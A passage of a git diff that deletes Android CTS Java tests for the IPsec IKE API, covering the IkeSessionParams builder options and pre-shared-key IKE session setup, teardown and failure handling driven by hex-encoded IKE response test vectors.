-    }
-
-    @After
-    public void tearDown() throws Exception {
-        tearDownTestNetwork();
-    }
-
-    private static EapSessionConfig.Builder createEapOnlySafeMethodsBuilder() {
-        return new EapSessionConfig.Builder()
-                .setEapIdentity(EAP_IDENTITY)
-                .setEapSimConfig(SUB_ID, APPTYPE_USIM)
-                .setEapAkaConfig(SUB_ID, APPTYPE_USIM)
-                .setEapAkaPrimeConfig(
-                        SUB_ID, APPTYPE_USIM, NETWORK_NAME, true /* allowMismatchedNetworkNames */);
-    }
-
-    /**
-     * Create a Builder that has minimum configurations to build an IkeSessionParams.
-     *
-     * <p>Authentication method is arbitrarily selected. Using other method (e.g. setAuthEap) also
-     * works.
-     */
-    private IkeSessionParams.Builder createIkeParamsBuilderMinimum() {
-        return new IkeSessionParams.Builder(sContext)
-                .setNetwork(mTunNetwork)
-                .setServerHostname(IPV4_ADDRESS_REMOTE.getHostAddress())
-                .addSaProposal(SA_PROPOSAL)
-                .setLocalIdentification(LOCAL_ID)
-                .setRemoteIdentification(REMOTE_ID)
-                .setAuthPsk(IKE_PSK);
-    }
-
-    /**
-     * Verify the minimum configurations to build an IkeSessionParams.
-     *
-     * @see #createIkeParamsBuilderMinimum
-     */
-    private void verifyIkeParamsMinimum(IkeSessionParams sessionParams) {
-        assertEquals(mTunNetwork, sessionParams.getNetwork());
-        assertEquals(IPV4_ADDRESS_REMOTE.getHostAddress(), sessionParams.getServerHostname());
-        assertEquals(Arrays.asList(SA_PROPOSAL), sessionParams.getSaProposals());
-        assertEquals(LOCAL_ID, sessionParams.getLocalIdentification());
-        assertEquals(REMOTE_ID, sessionParams.getRemoteIdentification());
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) localConfig).getPsk());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) remoteConfig).getPsk());
-    }
-
-    @Test
-    public void testBuildWithMinimumSet() throws Exception {
-        IkeSessionParams sessionParams = createIkeParamsBuilderMinimum().build();
-
-        verifyIkeParamsMinimum(sessionParams);
-
-        // Verify default values that do not need explicit configuration. Do not do assertEquals
-        // to be avoid being a change-detector test
-        assertTrue(sessionParams.getHardLifetimeSeconds() > sessionParams.getSoftLifetimeSeconds());
-        assertTrue(sessionParams.getSoftLifetimeSeconds() > 0);
-        assertTrue(sessionParams.getDpdDelaySeconds() > 0);
-        assertTrue(sessionParams.getRetransmissionTimeoutsMillis().length > 0);
-        for (int timeout : sessionParams.getRetransmissionTimeoutsMillis()) {
-            assertTrue(timeout > 0);
-        }
-        assertTrue(sessionParams.getConfigurationRequests().isEmpty());
-        assertFalse(sessionParams.hasIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID));
-    }
-
-    @Test
-    public void testSetLifetimes() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .setLifetimeSeconds(HARD_LIFETIME_SECONDS, SOFT_LIFETIME_SECONDS)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertEquals(HARD_LIFETIME_SECONDS, sessionParams.getHardLifetimeSeconds());
-        assertEquals(SOFT_LIFETIME_SECONDS, sessionParams.getSoftLifetimeSeconds());
-    }
-
-    @Test
-    public void testSetDpdDelay() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum().setDpdDelaySeconds(DPD_DELAY_SECONDS).build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertEquals(DPD_DELAY_SECONDS, sessionParams.getDpdDelaySeconds());
-    }
-
-    @Test
-    public void testSetRetransmissionTimeouts() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .setRetransmissionTimeoutsMillis(RETRANS_TIMEOUT_MS_LIST)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertArrayEquals(RETRANS_TIMEOUT_MS_LIST, sessionParams.getRetransmissionTimeoutsMillis());
-    }
-
-    @Test
-    public void testSetPcscfConfigRequests() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .setRetransmissionTimeoutsMillis(RETRANS_TIMEOUT_MS_LIST)
-                        .addPcscfServerRequest(AF_INET)
-                        .addPcscfServerRequest(PCSCF_IPV4_ADDRESS_1)
-                        .addPcscfServerRequest(PCSCF_IPV6_ADDRESS_1)
-                        .addPcscfServerRequest(AF_INET6)
-                        .addPcscfServerRequest(PCSCF_IPV4_ADDRESS_2)
-                        .addPcscfServerRequest(PCSCF_IPV6_ADDRESS_2)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        verifyConfigRequestTypes(EXPECTED_REQ_COUNT, sessionParams.getConfigurationRequests());
-
-        Set<InetAddress> resultAddresses = new HashSet<>();
-        for (IkeConfigRequest req : sessionParams.getConfigurationRequests()) {
-            if (req instanceof ConfigRequestIpv4PcscfServer
-                    && ((ConfigRequestIpv4PcscfServer) req).getAddress() != null) {
-                resultAddresses.add(((ConfigRequestIpv4PcscfServer) req).getAddress());
-            } else if (req instanceof ConfigRequestIpv6PcscfServer
-                    && ((ConfigRequestIpv6PcscfServer) req).getAddress() != null) {
-                resultAddresses.add(((ConfigRequestIpv6PcscfServer) req).getAddress());
-            }
-        }
-        assertEquals(EXPECTED_PCSCF_SERVERS, resultAddresses);
-    }
-
-    @Test
-    public void testAddIkeOption() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .addIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertTrue(sessionParams.hasIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID));
-    }
-
-    @Test
-    public void testRemoveIkeOption() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .addIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID)
-                        .removeIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertFalse(sessionParams.hasIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID));
-    }
-
-    /**
-     * Create a Builder that has minimum configurations to build an IkeSessionParams, except for
-     * authentication method.
-     */
-    private IkeSessionParams.Builder createIkeParamsBuilderMinimumWithoutAuth() {
-        return new IkeSessionParams.Builder(sContext)
-                .setNetwork(mTunNetwork)
-                .setServerHostname(IPV4_ADDRESS_REMOTE.getHostAddress())
-                .addSaProposal(SA_PROPOSAL)
-                .setLocalIdentification(LOCAL_ID)
-                .setRemoteIdentification(REMOTE_ID);
-    }
-
-    /**
-     * Verify the minimum configurations to build an IkeSessionParams, except for authentication
-     * method.
-     *
-     * @see #createIkeParamsBuilderMinimumWithoutAuth
-     */
-    private void verifyIkeParamsMinimumWithoutAuth(IkeSessionParams sessionParams) {
-        assertEquals(mTunNetwork, sessionParams.getNetwork());
-        assertEquals(IPV4_ADDRESS_REMOTE.getHostAddress(), sessionParams.getServerHostname());
-        assertEquals(Arrays.asList(SA_PROPOSAL), sessionParams.getSaProposals());
-        assertEquals(LOCAL_ID, sessionParams.getLocalIdentification());
-        assertEquals(REMOTE_ID, sessionParams.getRemoteIdentification());
-    }
-
-    @Test
-    public void testBuildWithPsk() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth().setAuthPsk(IKE_PSK).build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) localConfig).getPsk());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) remoteConfig).getPsk());
-    }
-
-    @Test
-    public void testBuildWithEap() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthEap(mServerCaCert, EAP_ALL_METHODS_CONFIG)
-                        .build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthEapConfig);
-        assertEquals(EAP_ALL_METHODS_CONFIG, ((IkeAuthEapConfig) localConfig).getEapConfig());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-
-    @Test
-    public void testBuildWithEapOnlyAuth() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthEap(mServerCaCert, EAP_ONLY_SAFE_METHODS_CONFIG)
-                        .addIkeOption(IKE_OPTION_EAP_ONLY_AUTH)
-                        .build();
-
-        assertTrue(sessionParams.hasIkeOption(IKE_OPTION_EAP_ONLY_AUTH));
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthEapConfig);
-        assertEquals(EAP_ONLY_SAFE_METHODS_CONFIG, ((IkeAuthEapConfig) localConfig).getEapConfig());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-
-    @Test
-    public void testThrowBuildEapOnlyAuthWithUnsafeMethod() throws Exception {
-        try {
-            IkeSessionParams sessionParams =
-                    createIkeParamsBuilderMinimumWithoutAuth()
-                            .setAuthEap(mServerCaCert, EAP_ALL_METHODS_CONFIG)
-                            .addIkeOption(IKE_OPTION_EAP_ONLY_AUTH)
-                            .build();
-            fail("Expected to fail because EAP only unsafe method is proposed");
-        } catch (IllegalArgumentException expected) {
-        }
-    }
-
-    @Test
-    public void testBuildWithDigitalSignature() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthDigitalSignature(mServerCaCert, mClientEndCert, mClientPrivateKey)
-                        .build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthDigitalSignLocalConfig);
-        IkeAuthDigitalSignLocalConfig localSignConfig = (IkeAuthDigitalSignLocalConfig) localConfig;
-        assertEquals(mClientEndCert, localSignConfig.getClientEndCertificate());
-        assertEquals(Collections.EMPTY_LIST, localSignConfig.getIntermediateCertificates());
-        assertEquals(mClientPrivateKey, localSignConfig.getPrivateKey());
-
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-
-    @Test
-    public void testBuildWithDigitalSignatureAndIntermediateCerts() throws Exception {
-        List<X509Certificate> intermediateCerts =
-                Arrays.asList(mClientIntermediateCaCertOne, mClientIntermediateCaCertTwo);
-
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthDigitalSignature(
-                                mServerCaCert, mClientEndCert, intermediateCerts, mClientPrivateKey)
-                        .build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthDigitalSignLocalConfig);
-        IkeAuthDigitalSignLocalConfig localSignConfig = (IkeAuthDigitalSignLocalConfig) localConfig;
-        assertEquals(mClientEndCert, localSignConfig.getClientEndCertificate());
-        assertEquals(intermediateCerts, localSignConfig.getIntermediateCertificates());
-        assertEquals(mClientPrivateKey, localSignConfig.getPrivateKey());
-
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionPskTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionPskTest.java
deleted file mode 100644
index b9b710d..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionPskTest.java
+++ /dev/null
@@ -1,371 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_AUTHENTICATION_FAILED;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_NO_PROPOSAL_CHOSEN;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_TS_UNACCEPTABLE;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
-import android.net.LinkAddress;
-import android.net.ipsec.ike.ChildSessionParams;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.exceptions.IkeProtocolException;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "MANAGE_IPSEC_TUNNELS permission can't be granted to instant apps")
-public class IkeSessionPskTest extends IkeSessionTestBase {
-    // Test vectors for success workflow
-    private static final String SUCCESS_IKE_INIT_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D421202220000000000000015022000030"
-                    + "0000002C010100040300000C0100000C800E0080030000080300000203000008"
-                    + "0200000200000008040000022800008800020000A7AA3435D088EC1A2B7C2A47"
-                    + "1FA1B85F1066C9B2006E7C353FB5B5FDBC2A88347ED2C6F5B7A265D03AE34039"
-                    + "6AAC0145CFCC93F8BDB219DDFF22A603B8856A5DC59B6FAB7F17C5660CF38670"
-                    + "8794FC72F273ADEB7A4F316519794AED6F8AB61F95DFB360FAF18C6C8CABE471"
-                    + "6E18FE215348C2E582171A57FC41146B16C4AFE429000024A634B61C0E5C90C6"
-                    + "8D8818B0955B125A9B1DF47BBD18775710792E651083105C2900001C00004004"
-                    + "406FA3C5685A16B9B72C7F2EEE9993462C619ABE2900001C00004005AF905A87"
-                    + "0A32222AA284A7070585601208A282F0290000080000402E290000100000402F"
-                    + "00020003000400050000000800004014";
-    private static final String SUCCESS_IKE_AUTH_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E20232000000001000000EC240000D0"
-                    + "0D06D37198F3F0962DE8170D66F1A9008267F98CDD956D984BDCED2FC7FAF84A"
-                    + "A6664EF25049B46B93C9ED420488E0C172AA6635BF4011C49792EF2B88FE7190"
-                    + "E8859FEEF51724FD20C46E7B9A9C3DC4708EF7005707A18AB747C903ABCEAC5C"
-                    + "6ECF5A5FC13633DCE3844A920ED10EF202F115DBFBB5D6D2D7AB1F34EB08DE7C"
-                    + "A54DCE0A3A582753345CA2D05A0EFDB9DC61E81B2483B7D13EEE0A815D37252C"
-                    + "23D2F29E9C30658227D2BB0C9E1A481EAA80BC6BE9006BEDC13E925A755A0290"
-                    + "AEC4164D29997F52ED7DCC2E";
-    private static final String SUCCESS_CREATE_CHILD_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E20242000000002000000CC210000B0"
-                    + "484565D4AF6546274674A8DE339E9C9584EE2326AB9260F41C4D0B6C5B02D1D"
-                    + "2E8394E3CDE3094895F2ACCABCDCA8E82960E5196E9622BD13745FC8D6A2BED"
-                    + "E561FF5D9975421BC463C959A3CBA3478256B6D278159D99B512DDF56AC1658"
-                    + "63C65A986F395FE8B1476124B91F83FD7865304EB95B22CA4DD9601DA7A2533"
-                    + "ABF4B36EB1B8CD09522F6A600032316C74E562E6756D9D49D945854E2ABDC4C"
-                    + "3AF36305353D60D40B58BE44ABF82";
-    private static final String SUCCESS_DELETE_CHILD_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E202520000000030000004C2A000030"
-                    + "0C5CEB882DBCA65CE32F4C53909335F1365C91C555316C5E9D9FB553F7AA916"
-                    + "EF3A1D93460B7FABAF0B4B854";
-    private static final String SUCCESS_DELETE_IKE_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E202520000000040000004C00000030"
-                    + "9352D71100777B00ABCC6BD7DBEA697827FFAAA48DF9A54D1D68161939F5DC8"
-                    + "6743A7CEB2BE34AC00095A5B8";
-
-    private IkeSession openIkeSessionWithTunnelModeChild(InetAddress remoteAddress) {
-        return openIkeSession(remoteAddress, buildTunnelModeChildSessionParams());
-    }
-
-    private IkeSession openIkeSessionWithTransportModeChild(InetAddress remoteAddress) {
-        return openIkeSession(remoteAddress, buildTransportModeChildParamsWithDefaultTs());
-    }
-
-    private IkeSession openIkeSession(InetAddress remoteAddress, ChildSessionParams childParams) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
-                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
-                        .setAuthPsk(IKE_PSK)
-                        .build();
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                childParams,
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    @BeforeClass
-    public static void setUpTunnelPermissionBeforeClass() throws Exception {
-        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
-        // a standard permission is insufficient. So we shell out the appop, to give us the
-        // right appop permissions.
-        setAppOp(OP_MANAGE_IPSEC_TUNNELS, true);
-    }
-
-    // This method is guaranteed to run in subclasses and will run after subclasses' @AfterClass
-    // methods.
-    @AfterClass
-    public static void tearDownTunnelPermissionAfterClass() throws Exception {
-        setAppOp(OP_MANAGE_IPSEC_TUNNELS, false);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTunnelMode() throws Exception {
-        if (!hasTunnelsFeature()) return;
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
-
-        // IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
-        int expectedMsgId = 2;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TUNNEL_MODE_INBOUND_TS),
-                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS),
-                Arrays.asList(EXPECTED_INTERNAL_LINK_ADDR));
-
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Open additional Child Session
-        TestChildSessionCallback additionalChildCb = new TestChildSessionCallback();
-        ikeSession.openChildSession(buildTunnelModeChildSessionParams(), additionalChildCb);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                SUCCESS_CREATE_CHILD_RESP);
-
-        // Verify opening additional Child Session
-        verifyChildSessionSetupBlocking(
-                additionalChildCb,
-                Arrays.asList(TUNNEL_MODE_INBOUND_TS),
-                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord additionalTransformRecordA =
-                additionalChildCb.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord additionalTransformRecordB =
-                additionalChildCb.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(additionalTransformRecordA, additionalTransformRecordB);
-
-        // Close additional Child Session
-        ikeSession.closeChildSession(additionalChildCb);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                SUCCESS_DELETE_CHILD_RESP);
-
-        verifyDeleteIpSecTransformPair(
-                additionalChildCb, additionalTransformRecordA, additionalTransformRecordB);
-        additionalChildCb.awaitOnClosed();
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, SUCCESS_DELETE_IKE_RESP);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTunnelModeV6() throws Exception {
-        if (!hasTunnelsFeature()) return;
-
-        final String ikeInitResp =
-                "46B8ECA1E0D72A186F7B6C2CEB77EB9021202220000000000000011822000030"
-                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
-                        + "0200000500000008040000022800008800020000DABAA04B38B491E2403F2125"
-                        + "96ECF1C8EF7B1DC19A422FDD46E1756C826BB3A16404361B775D9950577B5CDF"
-                        + "6AAA1642BD1427BDA8BC55354A97C1025E19C1E2EE2DF8A0C9406E545D829F52"
-                        + "75695008E3B742984B8DD1770F3514213B0DF3EE8B199416DF200D248115C057"
-                        + "1C193E4F96802E5EF48DD99CAC251882A8F7CCC329000024BC6F0F1D3653C2C7"
-                        + "679E02CDB6A3B32B2FEE9AF52F0326D4D9AE073D56CE8922290000080000402E"
-                        + "290000100000402F00020003000400050000000800004014";
-        final String ikeAuthResp =
-                "46B8ECA1E0D72A186F7B6C2CEB77EB902E202320000000010000015024000134"
-                        + "4D115AFDCDAD0310760BB664EB7D405A340869AD6EDF0AAEAD0663A9253DADCB"
-                        + "73EBE5CD29D4FA1CDEADE0B94391B5C4CF77BCC1596ACE3CE6A7891E44888FA5"
-                        + "46632C0EF4E6193C023C9DC59142C37D1C49D6EF5CD324EC6FC35C89E1721C78"
-                        + "91FDCDB723D8062709950F4AA9273D26A54C9C7E86862DBC15F7B6641D2B9BAD"
-                        + "E55069008201D12968D97B537B1518FE87B0FFA03C3EE6012C06721B1E2A3F68"
-                        + "92108BC4A4F7063F7F94562D8B60F291A1377A836CF12BCDA7E15C1A8F3C77BB"
-                        + "6DB7F2C833CCE4CDDED7506536621A3356CE2BC1874E7B1A1A9B447D7DF6AB09"
-                        + "638B8AD94A781B28BB91B514B611B24DF8E8A047A10AE27BBF15C754D3D2F792"
-                        + "D3E1CCADDAE934C98AE53A8FC3419C88AFF0355564F82A629C998012DA7BB704"
-                        + "5307270DF326377E3E1994476902035B";
-        final String deleteIkeResp =
-                "46B8ECA1E0D72A186F7B6C2CEB77EB902E202520000000020000005000000034"
-                        + "CF15C299F35688E5140A48B61C95F004121BF8236201415E5CD45BA41AAB16D4"
-                        + "90B44B9E6D5D92B5B97D24196A58C73F";
-
-        mLocalAddress = IPV6_ADDRESS_LOCAL;
-        mRemoteAddress = IPV6_ADDRESS_REMOTE;
-
-        // Teardown current test network that uses IPv4 address and set up new network with IPv6
-        // address.
-        tearDownTestNetwork();
-        setUpTestNetwork(mLocalAddress);
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(
-                ikeInitResp,
-                1 /* expectedAuthReqPktCnt */,
-                false /* expectedAuthUseEncap */,
-                ikeAuthResp);
-
-        // Local request message ID starts from 2 because there is one IKE_INIT message and a single
-        // IKE_AUTH message.
-        int expectedMsgId = 2;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TUNNEL_MODE_INBOUND_TS_V6),
-                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS_V6),
-                Arrays.asList(EXPECTED_INTERNAL_LINK_ADDR_V6),
-                Arrays.asList(EXPECTED_DNS_SERVERS_ONE, EXPECTED_DNS_SERVERS_TWO));
-
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, false /* expectedUseEncap */, deleteIkeResp);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-
-    @Test
-    public void testIkeSessionKillWithTunnelMode() throws Exception {
-        if (!hasTunnelsFeature()) return;
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
-
-        ikeSession.kill();
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-
-    @Test
-    public void testIkeInitFail() throws Exception {
-        final String ikeInitFailRespHex =
-                "46B8ECA1E0D72A180000000000000000292022200000000000000024000000080000000E";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
-        int expectedMsgId = 0;
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                false /* expectedUseEncap */,
-                ikeInitFailRespHex);
-
-        mFirstChildSessionCallback.awaitOnClosed();
-
-        IkeProtocolException protocolException =
-                (IkeProtocolException) mIkeSessionCallback.awaitOnClosedException();
-        assertEquals(ERROR_TYPE_NO_PROPOSAL_CHOSEN, protocolException.getErrorType());
-        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
-    }
-
-    @Test
-    public void testIkeAuthHandlesAuthFailNotification() throws Exception {
-        final String ikeInitRespHex =
-                "46B8ECA1E0D72A18CF94CE3159486F002120222000000000000001502200"
-                        + "00300000002C010100040300000C0100000C800E01000300000803000005"
-                        + "0300000802000004000000080400000228000088000200001821AA854691"
-                        + "FA3292DF710F0AC149ACBD0CB421608B8796C1912AF04C5B4B23936FDEC4"
-                        + "7CB640E3EAFB56BBB562825E87AF68B40E4BAB80A49BAD44407450A4195A"
-                        + "1DD54BD99F48D28C9F0FBA315A3401C1C3C4AD55911F514A8DF2D2467C46"
-                        + "A73DDC1452AE81336E0F0D5EC896D2E7A77628AF2F9089F48943399DF216"
-                        + "EFCD2900002418D2B7E4E6AF0FEFF5962CF8D68F7793B1293FEDE13331D4"
-                        + "AB0CE9436C2EE1EC2900001C0000400457BD9AEF5B362A83DD7F3DDAA4A9"
-                        + "9B6B4041DAF32900001C000040055A81893582701E44D4B6729A22FE06DE"
-                        + "82A03A36290000080000402E290000100000402F00020003000400050000"
-                        + "000800004014";
-        final String ikeAuthFailRespHex =
-                "46B8ECA1E0D72A18CF94CE3159486F002E202320000000010000004C2900"
-                        + "00301B9E4C8242D3BE62E7F0A537FE8B92C6EAB7153105DA421DCE43A06D"
-                        + "AB6E4808BAC0CA1DAD6ADD0A126A41BD";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthFailRespHex);
-
-        mFirstChildSessionCallback.awaitOnClosed();
-        IkeProtocolException protocolException =
-                (IkeProtocolException) mIkeSessionCallback.awaitOnClosedException();
-        assertEquals(ERROR_TYPE_AUTHENTICATION_FAILED, protocolException.getErrorType());
-        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
-    }
-
-    @Test
-    public void testIkeAuthHandlesFirstChildCreationFail() throws Exception {
-        final String ikeInitRespHex =
-                "46B8ECA1E0D72A18F5ABBF896A1240BE2120222000000000000001502200"
-                        + "00300000002C010100040300000C0100000C800E0100030000080300000C"
-                        + "03000008020000050000000804000002280000880002000074950F016B85"
